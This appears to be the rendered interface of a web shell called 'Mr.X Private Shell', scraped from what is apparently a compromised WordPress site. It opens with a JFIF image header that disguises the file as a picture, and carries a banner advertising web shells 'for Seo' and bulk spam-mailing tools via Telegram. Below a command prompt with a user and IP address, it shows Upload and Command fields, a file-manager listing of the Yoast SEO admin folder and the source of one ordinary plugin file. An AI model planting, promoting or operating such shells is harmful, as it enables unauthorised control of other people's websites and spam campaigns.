����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Class to change or add WordPress dashboard widgets.
 */
class Yoast_Dashboard_Widget implements WPSEO_WordPress_Integration {

	/**
	 * Holds the cache transient key.
	 *
	 * @var string
	 */
	const CACHE_TRANSIENT_KEY = 'wpseo-dashboard-totals';

	/**
	 * Holds an instance of the admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * Holds the dashboard statistics.
	 *
	 * @var WPSEO_Statistics
	 */
	protected $statistics;

	/**
	 * Yoast_Dashboard_Widget constructor.
	 *
	 * @param WPSEO_Statistics|null $statistics WPSEO_Statistics instance.
	 */
	public function __construct( WPSEO_Statistics $statistics = null ) {
		if ( $statistics === null ) {
			$statistics = new WPSEO_Statistics();
		}

		$this->statistics    = $statistics;
		$this->asset_manager = new WPSEO_Admin_Asset_Manager();
	}

	/**
	 * Register WordPress hooks.
	 */
	public function register_hooks() {
		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_dashboard_assets' ] );
		add_action( 'admin_init', [ $this, 'queue_dashboard_widget' ] );
	}

	/**
	 * Adds the dashboard widget if it should be shown.
	 *
	 * @return void
	 */
	public function queue_dashboard_widget() {
		if ( $this->show_widget() ) {
			add_action( 'wp_dashboard_setup', [ $this, 'add_dashboard_widget' ] );
		}
	}

	/**
	 * Adds dashboard widget to WordPress.
	 */
	public function add_dashboard_widget() {
		add_filter( 'postbox_classes_dashboard_wpseo-dashboard-overview', [ $this, 'wpseo_dashboard_overview_class' ] );
		wp_add_dashboard_widget(
			'wpseo-dashboard-overview',
			/* translators: %s is the plugin name */
			sprintf( __( '%s Posts Overview', 'wordpress-seo' ), 'Yoast SEO' ),
			[ $this, 'display_dashboard_widget' ]
		);
	}

	/**
	 * Adds CSS classes to the dashboard widget.
	 *
	 * @param array $classes An array of postbox CSS classes.
	 *
	 * @return array
	 */
	public function wpseo_dashboard_overview_class( $classes ) {
		$classes[] = 'yoast wpseo-dashboard-overview';
		return $classes;
	}

	/**
	 * Displays the dashboard widget.
	 */
	public function display_dashboard_widget() {
		echo '<div id="yoast-seo-dashboard-widget"></div>';
	}

	/**
	 * Enqueues assets for the dashboard if the current page is the dashboard.
	 */
	public function enqueue_dashboard_assets() {
		if ( ! $this->is_dashboard_screen() ) {
			return;
		}

		$this->asset_manager->localize_script( 'dashboard-widget', 'wpseoDashboardWidgetL10n', $this->localize_dashboard_script() );
		$this->asset_manager->enqueue_script( 'dashboard-widget' );
		$this->asset_manager->enqueue_style( 'wp-dashboard' );
		$this->asset_manager->enqueue_style( 'monorepo' );
	}

	/**
	 * Translates strings used in the dashboard widget.
	 *
	 * @return array The translated strings.
	 */
	public function localize_dashboard_script() {
		$is_wincher_active = YoastSEO()->helpers->wincher->is_active();

		return [
			'feed_header'          => sprintf(
				/* translators: %1$s resolves to Yoast.com */
				__( 'Latest blog posts on %1$s', 'wordpress-seo' ),
				'Yoast.com'
			),
			'feed_footer'          => __( 'Read more like this on our SEO blog', 'wordpress-seo' ),
			'wp_version'           => substr( $GLOBALS['wp_version'], 0, 3 ) . '-' . ( is_plugin_active( 'classic-editor/classic-editor.php' ) ? '1' : '0' ),
			'php_version'          => PHP_MAJOR_VERSION . '.' . PHP_MINOR_VERSION,
			'is_wincher_active'    => ( $is_wincher_active ) ? 1 : 0,
			'wincher_is_logged_in' => ( $is_wincher_active ) ? YoastSEO()->helpers->wincher->login_status() : false,
			'wincher_website_id'   => WPSEO_Options::get( 'wincher_website_id', '' ),
		];
	}

	/**
	 * Checks if the current screen is the dashboard screen.
	 *
	 * @return bool Whether or not this is the dashboard screen.
	 */
	private function is_dashboard_screen() {
		$current_screen = get_current_screen();

		return ( $current_screen instanceof WP_Screen && $current_screen->id === 'dashboard' );
	}

	/**
	 * Returns true when the dashboard widget should be shown.
	 *
	 * @return bool
	 */
	private function show_widget() {
		$analysis_seo = new WPSEO_Metabox_Analysis_SEO();

		return $analysis_seo->is_enabled() && current_user_can( 'edit_posts' );
	}
}

Filemanager

Name Type Size Permission Actions
ajax Folder 0755
capabilities Folder 0755
endpoints Folder 0755
exceptions Folder 0755
filters Folder 0755
formatter Folder 0755
google_search_console Folder 0755
import Folder 0755
listeners Folder 0755
menu Folder 0755
metabox Folder 0755
notifiers Folder 0755
pages Folder 0755
roles Folder 0755
services Folder 0755
statistics Folder 0755
taxonomy Folder 0755
tracking Folder 0755
views Folder 0755
watchers Folder 0755
admin-settings-changed-listener.php File 2.35 KB 0644
ajax.php File 8.58 KB 0644
class-admin-asset-analysis-worker-location.php File 1.81 KB 0644
class-admin-asset-dev-server-location.php File 1.63 KB 0644
class-admin-asset-location.php File 488 B 0644
class-admin-asset-manager.php File 18.12 KB 0644
class-admin-asset-seo-location.php File 2.08 KB 0644
class-admin-asset-yoast-components-l10n.php File 1.97 KB 0644
class-admin-editor-specific-replace-vars.php File 6.34 KB 0644
class-admin-gutenberg-compatibility-notification.php File 2.53 KB 0644
class-admin-help-panel.php File 2.7 KB 0644
class-admin-init.php File 9.7 KB 0644
class-admin-recommended-replace-vars.php File 5.98 KB 0644
class-admin-user-profile.php File 2.82 KB 0644
class-admin-utils.php File 2.1 KB 0644
class-admin.php File 12.48 KB 0644
class-asset.php File 3.92 KB 0644
class-bulk-description-editor-list-table.php File 2.05 KB 0644
class-bulk-editor-list-table.php File 27.82 KB 0644
class-bulk-title-editor-list-table.php File 2.23 KB 0644
class-collector.php File 984 B 0644
class-config.php File 7.62 KB 0644
class-customizer.php File 6.2 KB 0644
class-database-proxy.php File 7.38 KB 0644
class-export.php File 3.26 KB 0644
class-expose-shortlinks.php File 8.59 KB 0644
class-gutenberg-compatibility.php File 2.46 KB 0644
class-helpscout.php File 6.81 KB 0644
class-meta-columns.php File 23.26 KB 0644
class-my-yoast-proxy.php File 5.46 KB 0644
class-option-tab.php File 2.21 KB 0644
class-option-tabs-formatter.php File 2.8 KB 0644
class-option-tabs.php File 2.05 KB 0644
class-paper-presenter.php File 3.52 KB 0644
class-plugin-availability.php File 8.24 KB 0644
class-plugin-conflict.php File 3.93 KB 0644
class-premium-popup.php File 2.77 KB 0644
class-premium-upsell-admin-block.php File 3.54 KB 0644
class-primary-term-admin.php File 7.09 KB 0644
class-product-upsell-notice.php File 5.09 KB 0644
class-remote-request.php File 3.09 KB 0644
class-schema-person-upgrade-notification.php File 2.14 KB 0644
class-suggested-plugins.php File 4.15 KB 0644
class-yoast-columns.php File 3.2 KB 0644
class-yoast-dashboard-widget.php File 4.18 KB 0644
class-yoast-form.php File 36.21 KB 0644
class-yoast-input-validation.php File 10.47 KB 0644
class-yoast-network-admin.php File 9.57 KB 0644
class-yoast-network-settings-api.php File 4.18 KB 0644
class-yoast-notification-center.php File 23.69 KB 0644
class-yoast-notification.php File 9.39 KB 0644
class-yoast-notifications.php File 6.87 KB 0644
class-yoast-plugin-conflict.php File 9.41 KB 0644
index.php File 38 B 0644
interface-collection.php File 257 B 0644
interface-installable.php File 254 B 0644